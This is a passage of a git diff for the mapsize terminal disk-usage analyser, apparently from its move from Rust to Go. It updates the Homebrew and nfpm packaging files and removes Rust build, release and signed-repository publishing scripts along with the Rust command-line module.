|
||||
}
|
||||
}
|
||||
return false, nil
|
||||
}
|
||||
|
||||
func (v *changesView) wheel(m *Model, up bool) tea.Cmd {
|
||||
v.tb.scroll(up, len(v.rows))
|
||||
return nil
|
||||
}
|
||||
@@ -0,0 +1,14 @@
|
||||
name: mapsize
|
||||
arch: ${ARCH}
|
||||
version: ${VERSION}
|
||||
maintainer: Andy Dixon <andy@dixon.cx>
|
||||
description: Interactive full-terminal disk usage analyser with a live treemap.
|
||||
homepage: https://github.com/andydixon/mapsize
|
||||
license: GPL-3.0-or-later
|
||||
contents:
|
||||
- src: bin/release/pkg/mapsize
|
||||
dst: /usr/bin/mapsize
|
||||
- src: docs/mapsize.1
|
||||
dst: /usr/share/man/man1/mapsize.1
|
||||
file_info:
|
||||
mode: 0644
|
||||
@@ -1,19 +1,20 @@
|
||||
# Homebrew formula template for mapsize. `make brew-formula` fills in the
|
||||
# version and the checksum of the GitHub source tarball and writes the
|
||||
# result to dist/homebrew/mapsize.rb; copy that into your tap
|
||||
# result to bin/homebrew/mapsize.rb; copy that into your tap
|
||||
# (github.com/andydixon/homebrew-tap, Formula/mapsize.rb).
|
||||
class Mapsize < Formula
|
||||
desc "Interactive terminal disk usage analyser with a navigable treemap"
|
||||
homepage "https://github.com/andydixon/mapsize"
|
||||
homepage "https://dixon.cx"
|
||||
license "GPL-3.0-or-later"
|
||||
url "https://github.com/andydixon/mapsize/archive/refs/tags/v@VERSION@.tar.gz"
|
||||
sha256 "@SHA256@"
|
||||
license "GPL-3.0-or-later"
|
||||
head "https://github.com/andydixon/mapsize.git", branch: "master"
|
||||
|
||||
depends_on "rust" => :build
|
||||
depends_on "go" => :build
|
||||
|
||||
def install
|
||||
system "cargo", "install", *std_cargo_args
|
||||
ldflags = "-s -w -X github.com/andydixon/mapsize/internal/brand.Version=#{version}"
|
||||
system "go", "build", *std_go_args(ldflags:), "./cmd/mapsize"
|
||||
man1.install "docs/mapsize.1"
|
||||
end
|
||||
|
||||
|
||||
@@ -1,208 +0,0 @@
|
||||
#!/usr/bin/env bash
|
||||
# Build Linux packages (.deb, .rpm, Arch .pkg.tar.zst) for a release tag and
|
||||
# publish them to the signed apt, dnf and pacman repositories served at
|
||||
# https://repo.dixon.cx.
|
||||
#
|
||||
# packaging/repo.sh # the newest tag
|
||||
# packaging/repo.sh v1.0.0 # a given tag
|
||||
#
|
||||
# Builds from a clean export of the tag, so the working tree doesn't matter.
|
||||
# Every index is rebuilt over all the packages in the repository, so other
|
||||
# projects publishing there with their copy of this script are kept.
|
||||
#
|
||||
# Needs: cargo with cargo-zigbuild and zig (static musl cross-builds), curl
|
||||
# (to fetch the pinned nfpm), docker, gpg, apt-ftparchive (apt-utils), flock.
|
||||
# REPO_DIR where the repository lives (default below)
|
||||
# REPO_GNUPGHOME GnuPG home holding the signing key (default below)
|
||||
# ARCHS package architectures (default below)
|
||||
#
|
||||
# The same script, with its own project block, is in ../vault/packaging.
|
||||
set -euo pipefail
|
||||
|
||||
# ---- project ---------------------------------------------------------------
|
||||
NAME=mapsize # the command
|
||||
PACKAGE=mapsize
|
||||
CONFLICTS=
|
||||
SUMMARY="Interactive full-terminal disk usage analyser with a live treemap"
|
||||
HOMEPAGE=https://github.com/andydixon/mapsize
|
||||
LICENSE=GPL-3.0-or-later
|
||||
MANPAGES=docs/*.1
|
||||
DOCS="README.md CHANGELOG.md LICENSE"
|
||||
# Package architecture -> Rust target (static musl binaries).
|
||||
triple() {
|
||||
case $1 in
|
||||
amd64) echo x86_64-unknown-linux-musl ;;
|
||||
arm64) echo aarch64-unknown-linux-musl ;;
|
||||
arm) echo armv7-unknown-linux-musleabihf ;;
|
||||
386) echo i686-unknown-linux-musl ;;
|
||||
riscv64) echo riscv64gc-unknown-linux-musl ;;
|
||||
*) return 1 ;;
|
||||
esac
|
||||
}
|
||||
# build ARCH OUT: build the binary for ARCH to OUT, in the source tree.
|
||||
build() {
|
||||
local t
|
||||
t=$(triple "$1") || die "no Rust target for $1"
|
||||
RUSTFLAGS="--remap-path-prefix=$PWD=$NAME" cargo zigbuild --quiet --release --locked --target "$t"
|
||||
install -D -m 0755 "target/$t/release/$NAME" "$2"
|
||||
}
|
||||
# ----------------------------------------------------------------------------
|
||||
|
||||
REPO_DIR=${REPO_DIR:-/home/andy/domains/repo.dixon.cx/public_html}
|
||||
REPO_GNUPGHOME=${REPO_GNUPGHOME:-$HOME/.config/repo.dixon.cx/gnupg}
|
||||
ARCHS=${ARCHS:-"amd64 arm64 arm 386 riscv64"}
|
||||
NFPM="$(cd "$(dirname "$0")/.." && pwd)/scripts/nfpm.sh"
|
||||
SUITE=stable
|
||||
COMPONENT=main
|
||||
ARCH_REPO=dixon # the pacman repository name: [dixon]
|
||||
|
||||
say() { echo "repo: $*" >&2; }
|
||||
die() { say "$*"; exit 1; }
|
||||
|
||||
for tool in cargo cargo-zigbuild zig curl docker gpg apt-ftparchive flock; do
|
||||
command -v $tool >/dev/null || die "needs $tool"
|
||||
done
|
||||
[[ -d $REPO_DIR ]] || die "$REPO_DIR does not exist"
|
||||
export GNUPGHOME=$REPO_GNUPGHOME
|
||||
KEY=$(gpg --list-secret-keys --with-colons 2>/dev/null | awk -F: '/^fpr/{print $10; exit}')
|
||||
[[ -n $KEY ]] || die "no signing key in $GNUPGHOME"
|
||||
|
||||
cd "$(git rev-parse --show-toplevel)"
|
||||
TAG=${1:-$(git describe --tags --abbrev=0)}
|
||||
git rev-parse -q --verify "refs/tags/$TAG" >/dev/null || die "no tag $TAG"
|
||||
VERSION=${TAG#v}
|
||||
export VERSION
|
||||
|
||||
WORK=$(mktemp -d)
|
||||
trap 'rm -rf "$WORK"' EXIT
|
||||
git archive "$TAG" | tar -x -C "$WORK" --one-top-level=src
|
||||
gpg --batch --armor --export-secret-keys "$KEY" >"$WORK/signing.asc"
|
||||
|
||||
# ---- build -----------------------------------------------------------------
|
||||
say "building $PACKAGE $VERSION for $ARCHS"
|
||||
mkdir -p "$WORK/out"
|
||||
for arch in $ARCHS; do
|
||||
nfarch=$arch
|
||||
[[ $arch == arm ]] && nfarch=arm7
|
||||
(cd "$WORK/src" && build "$arch" "$WORK/bin-$arch/$NAME")
|
||||
{
|
||||
cat <<-EOF
|
||||
name: $PACKAGE
|
||||
arch: $nfarch
|
||||
platform: linux
|
||||
version: $VERSION
|
||||
release: 1
|
||||
maintainer: Andy Dixon <andy@dixon.cx>
|
||||
description: $SUMMARY
|
||||
homepage: $HOMEPAGE
|
||||
license: $LICENSE
|
||||
conflicts: [${CONFLICTS:-}]
|
||||
contents:
|
||||
- src: $WORK/bin-$arch/$NAME
|
||||
dst: /usr/bin/$NAME
|
||||
file_info: {mode: 0755}
|
||||
EOF
|
||||
for m in $(cd "$WORK/src" && ls $MANPAGES); do
|
||||
printf ' - src: %s\n dst: /usr/share/man/man1/%s\n file_info: {mode: 0644}\n' \
|
||||
"$WORK/src/$m" "$(basename "$m")"
|
||||
done
|
||||
for d in $DOCS; do
|
||||
printf ' - src: %s\n dst: /usr/share/doc/%s/%s\n file_info: {mode: 0644}\n' \
|
||||
"$WORK/src/$d" "$PACKAGE" "$d"
|
||||
done
|
||||
printf 'rpm:\n signature:\n key_file: %s\n' "$WORK/signing.asc"
|
||||
} >"$WORK/nfpm-$arch.yaml"
|
||||
for fmt in deb rpm archlinux; do
|
||||
$NFPM pkg -f "$WORK/nfpm-$arch.yaml" -p $fmt -t "$WORK/out/" >/dev/null
|
||||
done
|
||||
done
|
||||
|
||||
# ---- publish ---------------------------------------------------------------
|
||||
# One publisher at a time: the indexes cover every project's packages.
|
||||
exec 9>"$REPO_DIR/../.publish.lock"
|
||||
flock 9
|
||||
say "publishing to $REPO_DIR"
|
||||
gpg --batch --armor --export "$KEY" >"$REPO_DIR/dixon.asc"
|
||||
gpg --batch --export "$KEY" >"$REPO_DIR/dixon.gpg"
|
||||
sign() { gpg --batch --yes --local-user "$KEY" "$@"; }
|
||||
|
||||
# apt: pool/main/<letter>/<name>/, indexed by apt-ftparchive.
|
||||
pool=$REPO_DIR/apt/pool/$COMPONENT/${PACKAGE:0:1}/$PACKAGE
|
||||
mkdir -p "$pool"
|
||||
cp "$WORK"/out/*.deb "$pool/"
|
||||
(
|
||||
cd "$REPO_DIR/apt"
|
||||
# Built beside the live suite and swapped in, so clients never see half.
|
||||
dists=dists/.$SUITE.new
|
||||
rm -rf "$dists"
|
||||
debarchs=$(find pool -name '*.deb' | sed -E 's/.*_([^_]+)\.deb$/\1/' | sort -u | tr '\n' ' ')
|
||||
for a in $debarchs; do
|
||||
d=$dists/$COMPONENT/binary-$a
|
||||
mkdir -p "$d"
|
||||
apt-ftparchive --arch "$a" packages pool >"$d/Packages"
|
||||
gzip -9kn "$d/Packages"
|
||||
done
|
||||
apt-ftparchive \
|
||||
-o APT::FTPArchive::Release::Origin=repo.dixon.cx \
|
||||
-o APT::FTPArchive::Release::Label=repo.dixon.cx \
|
||||
-o APT::FTPArchive::Release::Suite=$SUITE \
|
||||
-o APT::FTPArchive::Release::Codename=$SUITE \
|
||||
-o APT::FTPArchive::Release::Components=$COMPONENT \
|
||||
-o "APT::FTPArchive::Release::Architectures=${debarchs% }" \
|
||||
release "$dists" >"$WORK/Release"
|
||||
mv "$WORK/Release" "$dists/Release"
|
||||
sign --clearsign -o "$dists/InRelease" "$dists/Release"
|
||||
sign --armor --detach-sign -o "$dists/Release.gpg" "$dists/Release"
|
||||
rm -rf "dists/.$SUITE.old"
|
||||
[[ -d dists/$SUITE ]] && mv "dists/$SUITE" "dists/.$SUITE.old"
|
||||
mv "$dists" "dists/$SUITE"
|
||||
rm -rf "dists/.$SUITE.old"
|
||||
)
|
||||
|
||||
# dnf: every architecture in one directory; dnf picks its own.
|
||||
mkdir -p "$REPO_DIR/rpm"
|
||||
cp "$WORK"/out/*.rpm "$REPO_DIR/rpm/"
|
||||
docker image inspect repo-tools:fedora >/dev/null 2>&1 ||
|
||||
docker build -q -t repo-tools:fedora - >/dev/null <<-'EOF'
|
||||
FROM fedora:42
|
||||
RUN dnf -y install createrepo_c && dnf clean all
|
||||
EOF
|
||||
docker run --rm --user "$(id -u):$(id -g)" -v "$REPO_DIR/rpm:/repo" repo-tools:fedora \
|
||||
createrepo_c --quiet --update --general-compress-type=gz /repo
|
||||
sign --armor --detach-sign -o "$REPO_DIR/rpm/repodata/repomd.xml.asc" "$REPO_DIR/rpm/repodata/repomd.xml"
|
||||
cat >"$REPO_DIR/rpm/dixon.repo" <<EOF
|
||||
[dixon]
|
||||
name=repo.dixon.cx
|
||||
baseurl=https://repo.dixon.cx/rpm
|
||||
enabled=1
|
||||
gpgcheck=1
|
||||
repo_gpgcheck=1
|
||||
gpgkey=https://repo.dixon.cx/dixon.asc
|
||||
EOF
|
||||
|
||||
# pacman: one directory per architecture, each package signed, then
|
||||
# repo-add (from an Arch container) and a signed database.
|
||||
added=
|
||||
for pkg in "$WORK"/out/*.pkg.tar.zst; do
|
||||
a=$(basename "$pkg" .pkg.tar.zst)
|
||||
a=${a##*-}
|
||||
mkdir -p "$REPO_DIR/arch/$a"
|
||||
cp "$pkg" "$REPO_DIR/arch/$a/"
|
||||
sign --detach-sign -o "$REPO_DIR/arch/$a/$(basename "$pkg").sig" "$pkg"
|
||||
added+=" $a"
|
||||
done
|
||||
for a in $(tr ' ' '\n' <<<"$added" | sort -u); do
|
||||
dir=$REPO_DIR/arch/$a
|
||||
# A fresh database of every package here; -p keeps the newest version.
|
||||
rm -f "$dir/$ARCH_REPO".{db,files}{,.tar.gz}{,.sig}
|
||||
docker run --rm --user "$(id -u):$(id -g)" -e HOME=/tmp -v "$dir:/repo" -w /repo archlinux:latest \
|
||||
sh -c "repo-add --quiet --prevent-downgrade $ARCH_REPO.db.tar.gz *.pkg.tar.zst" 2>&1 |
|
||||
{ grep -v "newer version\|^$" >&2 || true; }
|
||||
for db in $ARCH_REPO.db $ARCH_REPO.files; do
|
||||
sign --detach-sign -o "$dir/$db.tar.gz.sig" "$dir/$db.tar.gz"
|
||||
ln -sfn "$db.tar.gz.sig" "$dir/$db.sig"
|
||||
done
|
||||
rm -f "$dir"/*.old "$dir"/*.old.sig
|
||||
done
|
||||
|
||||
say "published $PACKAGE $VERSION: $(cd "$WORK/out" && ls | wc -l) packages"
|
||||
@@ -1,4 +0,0 @@
|
||||
[toolchain]
|
||||
channel = "1.99.0"
|
||||
components = ["rustfmt", "clippy"]
|
||||
profile = "minimal"
|
||||
@@ -10,7 +10,7 @@ set -euo pipefail
|
||||
path=${1:?usage: bench-scan.sh PATH [workers...]}
|
||||
shift || true
|
||||
workers=${*:-1 2 4 8 16}
|
||||
bin=${MAPSIZE:-target/release/mapsize}
|
||||
bin=${MAPSIZE:-bin/mapsize}
|
||||
[[ -x $bin ]] || make build >/dev/null
|
||||
|
||||
fs=$(df -T "$path" | awk 'NR==2 {print $2}')
|
||||
|
||||
@@ -1,77 +0,0 @@
|
||||
#!/usr/bin/env bash
|
||||
# Build mapsize release binaries for the supported operating systems and
|
||||
# CPU architectures.
|
||||
#
|
||||
# scripts/build.sh # every target this host can build, into dist/
|
||||
# TARGETS="linux/amd64 darwin/arm64" scripts/build.sh
|
||||
# OUT=/tmp/bins scripts/build.sh
|
||||
#
|
||||
# Binaries are named mapsize-OS-ARCH[.exe]: stripped release builds from the
|
||||
# locked dependencies (Cargo.lock), with build paths remapped so the output
|
||||
# does not depend on where the tree lives. Linux binaries are static (musl).
|
||||
#
|
||||
# How each target is built, and what the host needs:
|
||||
# zig cargo-zigbuild and zig on PATH (Linux, Windows)
|
||||
# mac a Mac, or cargo-zigbuild and zig (macOS)
|
||||
# cross `cross` and Docker (FreeBSD, NetBSD)
|
||||
# A requested target the host cannot build is reported, the others are still
|
||||
# built, and the script exits non-zero. The release workflow
|
||||
# (.github/workflows/release.yml) builds every target on GitHub's runners.
|
||||
set -euo pipefail
|
||||
cd "$(dirname "$0")/.."
|
||||
root=$PWD
|
||||
|
||||
table() {
|
||||
# os/arch Rust target method
|
||||
cat <<-'EOF2'
|
||||
linux/amd64 x86_64-unknown-linux-musl zig
|
||||
linux/arm64 aarch64-unknown-linux-musl zig
|
||||
linux/386 i686-unknown-linux-musl zig
|
||||
linux/arm armv7-unknown-linux-musleabihf zig
|
||||
linux/riscv64 riscv64gc-unknown-linux-musl zig
|
||||
windows/amd64 x86_64-pc-windows-gnu zig
|
||||
windows/arm64 aarch64-pc-windows-gnullvm zig
|
||||
darwin/amd64 x86_64-apple-darwin mac
|
||||
darwin/arm64 aarch64-apple-darwin mac
|
||||
freebsd/amd64 x86_64-unknown-freebsd cross
|
||||
netbsd/amd64 x86_64-unknown-netbsd cross
|
||||
EOF2
|
||||
}
|
||||
|
||||
out=${OUT:-dist}
|
||||
targets=${TARGETS:-$(table | awk '{print $1}')}
|
||||
mkdir -p -- "$out"
|
||||
out=$(cd -- "$out" && pwd -P)
|
||||
case $out in
|
||||
/ | "$(cd ~ && pwd -P)" | "$root") echo "refusing OUT=$out: use a dedicated directory" >&2; exit 2 ;;
|
||||
esac
|
||||
export RUSTFLAGS="${RUSTFLAGS:-} --remap-path-prefix=$root=mapsize --remap-path-prefix=${CARGO_HOME:-$HOME/.cargo}=cargo"
|
||||
have() { command -v "$1" >/dev/null; }
|
||||
|
||||
status=0
|
||||
for want in $targets; do
|
||||
row=$(table | awk -v t="$want" '$1 == t')
|
||||
[[ -n $row ]] || { echo "UNKNOWN $want" >&2; status=1; continue; }
|
||||
read -r _ triple method <<<"$row"
|
||||
ext=; [[ $want == windows/* ]] && ext=.exe
|
||||
name=mapsize-${want/\//-}$ext
|
||||
case $method in
|
||||
zig) have cargo-zigbuild && have zig && cmd=(cargo zigbuild) ||
|
||||
{ echo "SKIPPED $want: needs cargo-zigbuild and zig" >&2; status=1; continue; } ;;
|
||||
mac)
|
||||
if [[ $(uname -s) == Darwin ]]; then cmd=(cargo build)
|
||||
elif have cargo-zigbuild && have zig; then cmd=(cargo zigbuild)
|
||||
else echo "SKIPPED $want: needs a Mac, or cargo-zigbuild and zig" >&2; status=1; continue; fi ;;
|
||||
cross) have cross && have docker && cmd=(cross build) ||
|
||||
{ echo "SKIPPED $want: needs cross and docker" >&2; status=1; continue; } ;;
|
||||
esac
|
||||
if ! "${cmd[@]}" --quiet --release --locked --target "$triple"; then
|
||||
echo "FAILED $want ($triple)" >&2; status=1; continue
|
||||
fi
|
||||
cp -- "target/$triple/release/mapsize$ext" "$out/$name"
|
||||
if [[ $triple == *-musl* ]] && have file; then
|
||||
file -L "$out/$name" | grep -q 'static' || { echo "FAILED $want: not statically linked" >&2; status=1; continue; }
|
||||
fi
|
||||
echo "built $name ($triple)"
|
||||
done
|
||||
exit $status
|
||||
@@ -1,20 +0,0 @@
|
||||
#!/usr/bin/env bash
|
||||
# Run the pinned nfpm packager, downloading and checksumming it on first use
|
||||
# (into target/tools). Linux x86-64 and ARM64 hosts only.
|
||||
set -euo pipefail
|
||||
version=2.41.1
|
||||
case $(uname -m) in
|
||||
x86_64) arch=x86_64 sum=b3cf95aa6dabed836d09ad7f0c190a13c74c5b1304db60846f0f702ee407f430 ;;
|
||||
aarch64) arch=arm64 sum=17350a838c8e2c422c6e573ed379b18424565d2de8a2b1cb1b20211976124eb5 ;;
|
||||
*) echo "nfpm.sh: unsupported host $(uname -m)" >&2; exit 1 ;;
|
||||
esac
|
||||
dir=$(cd "$(dirname "$0")/.." && pwd)/target/tools/nfpm-$version
|
||||
if [[ ! -x $dir/nfpm ]]; then
|
||||
mkdir -p "$dir"
|
||||
tgz=$dir/nfpm.tar.gz
|
||||
curl -fsSL -o "$tgz" "https://github.com/goreleaser/nfpm/releases/download/v$version/nfpm_${version}_Linux_$arch.tar.gz"
|
||||
echo "$sum $tgz" | sha256sum -c --quiet
|
||||
tar -xzf "$tgz" -C "$dir" nfpm
|
||||
rm -f "$tgz"
|
||||
fi
|
||||
exec "$dir/nfpm" "$@"
|
||||
@@ -1,62 +0,0 @@
|
||||
#!/usr/bin/env bash
|
||||
# Turn the binaries from scripts/build.sh into release assets: one archive
|
||||
# per binary (with README, CHANGELOG, LICENSE and the manual page), .deb,
|
||||
# .rpm, .apk and Arch packages for the Linux binaries, and SHA256SUMS.
|
||||
#
|
||||
# scripts/release.sh VERSION [BIN_DIR [OUT_DIR]] # defaults: dist, dist/release
|
||||
#
|
||||
# VERSION (e.g. 1.3.0 or v1.3.0) must match Cargo.toml, which is what the
|
||||
# binaries report.
|
||||
set -euo pipefail
|
||||
cd "$(dirname "$0")/.."
|
||||
root=$PWD
|
||||
version=${1:?usage: scripts/release.sh VERSION [BIN_DIR [OUT_DIR]]}
|
||||
version=${version#v}
|
||||
bins=$(cd "${2:-dist}" && pwd)
|
||||
out=${3:-dist/release}
|
||||
cargo_version=$(sed -n 's/^version = "\(.*\)"/\1/p' Cargo.toml | head -1)
|
||||
[[ $version == "$cargo_version" ]] || { echo "release: VERSION $version does not match Cargo.toml ($cargo_version)" >&2; exit 1; }
|
||||
rm -rf -- "$out" && mkdir -p -- "$out"
|
||||
out=$(cd "$out" && pwd)
|
||||
work=$(mktemp -d)
|
||||
trap 'rm -rf -- "$work"' EXIT
|
||||
|
||||
shopt -s nullglob
|
||||
for bin in "$bins"/mapsize-*; do
|
||||
b=$(basename "$bin")
|
||||
osarch=${b#mapsize-}
|
||||
osarch=${osarch%.exe}
|
||||
os=${osarch%-*} arch=${osarch#*-}
|
||||
ext=; [[ $os == windows ]] && ext=.exe
|
||||
name=mapsize-$version-$os-$arch
|
||||
mkdir -p "$work/$name"
|
||||
install -m 0755 "$bin" "$work/$name/mapsize$ext"
|
||||
cp README.md CHANGELOG.md LICENSE docs/mapsize.1 "$work/$name/"
|
||||
if [[ $os == windows ]]; then (cd "$work" && zip -qr "$out/$name.zip" "$name")
|
||||
else tar -C "$work" -czf "$out/$name.tar.gz" "$name"; fi
|
||||
if [[ $os == linux ]]; then
|
||||
nfarch=$arch; [[ $arch == arm ]] && nfarch=arm7
|
||||
cat >"$work/nfpm-$arch.yaml" <<-EOF2
|
||||
name: mapsize
|
||||
arch: $nfarch
|
||||
platform: linux
|
||||
version: $version
|
||||
maintainer: Andy Dixon <andy@dixon.cx>
|
||||
description: Interactive full-terminal disk usage analyser with a live treemap.
|
||||
homepage: https://github.com/andydixon/mapsize
|
||||
license: GPL-3.0-or-later
|
||||
contents:
|
||||
- src: $work/$name/mapsize
|
||||
dst: /usr/bin/mapsize
|
||||
file_info: {mode: 0755}
|
||||
- src: $root/docs/mapsize.1
|
||||
dst: /usr/share/man/man1/mapsize.1
|
||||
file_info: {mode: 0644}
|
||||
EOF2
|
||||
for fmt in deb rpm apk archlinux; do
|
||||
scripts/nfpm.sh pkg -f "$work/nfpm-$arch.yaml" -p $fmt -t "$out/" >/dev/null
|
||||
done
|
||||
fi
|
||||
done
|
||||
(cd "$out" && sha256sum -- * >SHA256SUMS)
|
||||
echo "$(($(ls "$out" | wc -l) - 1)) assets and SHA256SUMS in $out"
|
||||
-291
@@ -1,291 +0,0 @@
|
||||
//! Wires the command-line modes together: interactive TUI, non-interactive
|
||||
//! reports, snapshots and comparisons. TUI and CLI share the same scanner
|
||||
//! and inventory.
|
||||
|
||||
use crate::cancel::Cancel;
|
||||
use crate::config::Settings;
|
||||
use crate::inventory::{Kind, SizeMode, Tree, FLAG_HARDLINK_DUP};
|
||||
use crate::scan::{self, Scanner};
|
||||
use crate::{duplicate, export, snapshot, textutil, tui, Error};
|
||||
use std::io::{IsTerminal, Write};
|
||||
use std::path::Path;
|
||||
use std::sync::{Arc, RwLock};
|
||||
use std::time::{Duration, Instant};
|
||||
|
||||
/// The fully-resolved command line.
|
||||
pub struct Config {
|
||||
pub paths: Vec<String>,
|
||||
pub scan_opts: scan::Options,
|
||||
pub no_ui: bool,
|
||||
pub json: bool,
|
||||
pub csv: bool,
|
||||
pub depth: i64,
|
||||
pub top: usize,
|
||||
pub largest_files: usize,
|
||||
pub save: String,
|
||||
pub load: String,
|
||||
pub compare: Option<(String, String)>,
|
||||
pub duplicates: bool,
|
||||
pub read_only: bool,
|
||||
pub theme: String,
|
||||
pub size_mode: SizeMode,
|
||||
pub mouse: bool,
|
||||
pub color: String,
|
||||
pub settings: Settings,
|
||||
}
|
||||
|
||||
impl Config {
|
||||
pub fn new(settings: Settings) -> Config {
|
||||
Config {
|
||||
paths: Vec::new(),
|
||||
scan_opts: Default::default(),
|
||||
no_ui: false,
|
||||
json: false,
|
||||
csv: false,
|
||||
depth: -1,
|
||||
top: 0,
|
||||
largest_files: 0,
|
||||
save: String::new(),
|
||||
load: String::new(),
|
||||
compare: None,
|
||||
duplicates: false,
|
||||
read_only: false,
|
||||
theme: settings.theme.clone(),
|
||||
size_mode: SizeMode::Allocated,
|
||||
mouse: settings.mouse,
|
||||
color: "auto".into(),
|
||||
settings,
|
||||
}
|
||||
}
|
||||
|
||||
/// Whether any non-interactive output was requested.
|
||||
pub fn report(&self) -> bool {
|
||||
self.no_ui
|
||||
|| self.json
|
||||
|| self.csv
|
||||
|| self.top > 0
|
||||
|| self.largest_files > 0
|
||||
|| self.duplicates
|
||||
}
|
||||
}
|
||||
|
||||
/// Executes the configured mode.
|
||||
pub fn run(cfg: Config) -> Result<(), Error> {
|
||||
if cfg.compare.is_some() {
|
||||
return run_compare(cfg);
|
||||
}
|
||||
if !cfg.report() {
|
||||
return run_tui(cfg);
|
||||
}
|
||||
run_report(cfg)
|
||||
}
|
||||
|
||||
/// Begins a scan (or loads a snapshot). The scanner is None when the tree
|
||||
/// came from a snapshot.
|
||||
fn start_source(
|
||||
cancel: Cancel,
|
||||
load: &str,
|
||||
paths: &[String],
|
||||
opts: &scan::Options,
|
||||
) -> Result<(Option<Scanner>, Arc<RwLock<Tree>>), Error> {
|
||||
if !load.is_empty() {
|
||||
return Ok((
|
||||
None,
|
||||
Arc::new(RwLock::new(snapshot::load_file(Path::new(load))?)),
|
||||
));
|
||||
}
|
||||
let root = paths.first().map_or(".", |s| s.as_str());
|
||||
let s = scan::start(root.as_bytes(), opts.clone(), cancel)?;
|
||||
let t = s.tree.clone();
|
||||
Ok((Some(s), t))
|
||||
}
|
||||
|
||||
/// A token cancelled by SIGINT (Ctrl+C), for report mode.
|
||||
fn interrupt_cancel() -> Cancel {
|
||||
static CANCEL: std::sync::OnceLock<Cancel> = std::sync::OnceLock::new();
|
||||
extern "C" fn on_sigint(_: libc::c_int) {
|
||||
if let Some(c) = CANCEL.get() {
|
||||
// Only an atomic store happens here; the channel drop is deferred.
|
||||
c.cancel_flag_only();
|
||||
}
|
||||
}
|
||||
let c = CANCEL.get_or_init(Cancel::new).clone();
|
||||
unsafe { libc::signal(libc::SIGINT, on_sigint as *const () as libc::sighandler_t) };
|
||||
c
|
||||
}
|
||||
|
||||
fn run_report(cfg: Config) -> Result<(), Error> {
|
||||
let cancel = interrupt_cancel();
|
||||
let (s, tree) = start_source(cancel.clone(), &cfg.load, &cfg.paths, &cfg.scan_opts)?;
|
||||
if let Some(s) = &s {
|
||||
wait_with_progress(s, &cancel);
|
||||
}
|
||||
let mut out = std::io::stdout().lock();
|
||||
if cfg.duplicates && !cfg.json && !cfg.csv {
|
||||
// find takes its own read lock; never nest read locks.
|
||||
run_duplicates(&mut out, &cancel, &tree)?;
|
||||
}
|
||||
let t = tree.read().unwrap();
|
||||
if s.is_some() && !cfg.save.is_empty() {
|
||||
snapshot::save_file(Path::new(&cfg.save), &t)?;
|
||||
eprintln!("Saved snapshot {}", cfg.save);
|
||||
}
|
||||
if cfg.json {
|
||||
return Ok(export::json(&mut out, &t, t.root(), cfg.depth)?);
|
||||
}
|
||||
if cfg.csv {
|
||||
return Ok(export::csv(&mut out, &t, t.root(), cfg.depth)?);
|
||||
}
|
||||
if cfg.top > 0 {
|
||||
let mut ids = t.sorted_children(t.root(), cfg.size_mode);
|
||||
ids.truncate(cfg.top);
|
||||
export::table(&mut out, &t, &ids, cfg.size_mode)?;
|
||||
writeln!(out)?;
|
||||
}
|
||||
if cfg.largest_files > 0 {
|
||||
let m = cfg.size_mode;
|
||||
let ids = t.top(
|
||||
t.root(),
|
||||
cfg.largest_files,
|
||||
|n| n.kind == Kind::File && n.flags & FLAG_HARDLINK_DUP == 0,
|
||||
|n| n.own(m),
|
||||
);
|
||||
export::table(&mut out, &t, &ids, m)?;
|
||||
writeln!(out)?;
|
||||
}
|
||||
export::summary(&mut out, &t)?;
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Blocks until the scan finishes, printing a progress line to stderr if it
|
||||
/// is a terminal.
|
||||
fn wait_with_progress(s: &Scanner, cancel: &Cancel) {
|
||||
let tty = std::io::stderr().is_terminal();
|
||||
let start = Instant::now();
|
||||
let mut forwarded = false;
|
||||
loop {
|
||||
match s.done().recv_timeout(Duration::from_millis(250)) {
|
||||
Err(crossbeam_channel::RecvTimeoutError::Timeout) => {}
|
||||
_ => {
|
||||
if tty {
|
||||
eprint!("\r\x1b[K");
|
||||
}
|
||||
return;
|
||||
}
|
||||
}
|
||||
if cancel.is_cancelled() && !forwarded {
|
||||
cancel.cancel(); // complete the signal-handler cancellation
|
||||
forwarded = true;
|
||||
}
|
||||
if tty {
|
||||
let p = s.progress();
|
||||
let el = start.elapsed();
|
||||
eprint!(
|
||||
"\r\x1b[Kscanning… {} entries {}/s queue {} {}",
|
||||
textutil::count(p.entries),
|
||||
textutil::count((p.entries as f64 / el.as_secs_f64()) as i64),
|
||||
p.pending,
|
||||
textutil::duration(el)
|
||||
);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
fn run_tui(cfg: Config) -> Result<(), Error> {
|
||||
let (load, paths, opts) = (cfg.load.clone(), cfg.paths.clone(), cfg.scan_opts.clone());
|
||||
tui::run(tui::Options {
|
||||
read_only: cfg.read_only,
|
||||
theme: cfg.theme,
|
||||
size_mode: cfg.size_mode,
|
||||
mouse: cfg.mouse,
|
||||
color: cfg.color,
|
||||
save: cfg.save,
|
||||
settings: cfg.settings,
|
||||
diff: None,
|
||||
start: Arc::new(move |c| start_source(c, &load, &paths, &opts)),
|
||||
})
|
||||
}
|
||||
|
||||
fn run_compare(cfg: Config) -> Result<(), Error> {
|
||||
let (a, b) = cfg.compare.clone().unwrap();
|
||||
let old = snapshot::load_file(Path::new(&a)).map_err(|e| format!("{a}: {e}"))?;
|
||||
let nw = snapshot::load_file(Path::new(&b)).map_err(|e| format!("{b}: {e}"))?;
|
||||
let d = snapshot::compare(old, &nw);
|
||||
if !cfg.report() {
|
||||
let tree = Arc::new(RwLock::new(nw));
|
||||
return tui::run(tui::Options {
|
||||
read_only: true,
|
||||
theme: cfg.theme,
|
||||
size_mode: cfg.size_mode,
|
||||
mouse: cfg.mouse,
|
||||
color: cfg.color,
|
||||
save: String::new(),
|
||||
settings: cfg.settings,
|
||||
diff: Some(d),
|
||||
start: Arc::new(move |_| Ok((None, tree.clone()))),
|
||||
});
|
||||
}
|
||||
let k = if cfg.top > 0 { cfg.top } else { 30 };
|
||||
let m = cfg.size_mode;
|
||||
let mut out = std::io::stdout().lock();
|
||||
let (ro, rn) = (d.old.node(0), nw.node(0));
|
||||
writeln!(
|
||||
out,
|
||||
"{} → {}",
|
||||
textutil::sanitize(&d.old.stats.from_snapshot),
|
||||
textutil::sanitize(&nw.stats.from_snapshot)
|
||||
)?;
|
||||
writeln!(
|
||||
out,
|
||||
"Total {} → {} ({})\n",
|
||||
textutil::size(ro.total(m)),
|
||||
textutil::size(rn.total(m)),
|
||||
textutil::signed_size(rn.total(m) - ro.total(m))
|
||||
)?;
|
||||
for c in d.changes(&nw, k, m) {
|
||||
writeln!(
|
||||
out,
|
||||
"{:<10} {:>14} {}",
|
||||
c.status.name(),
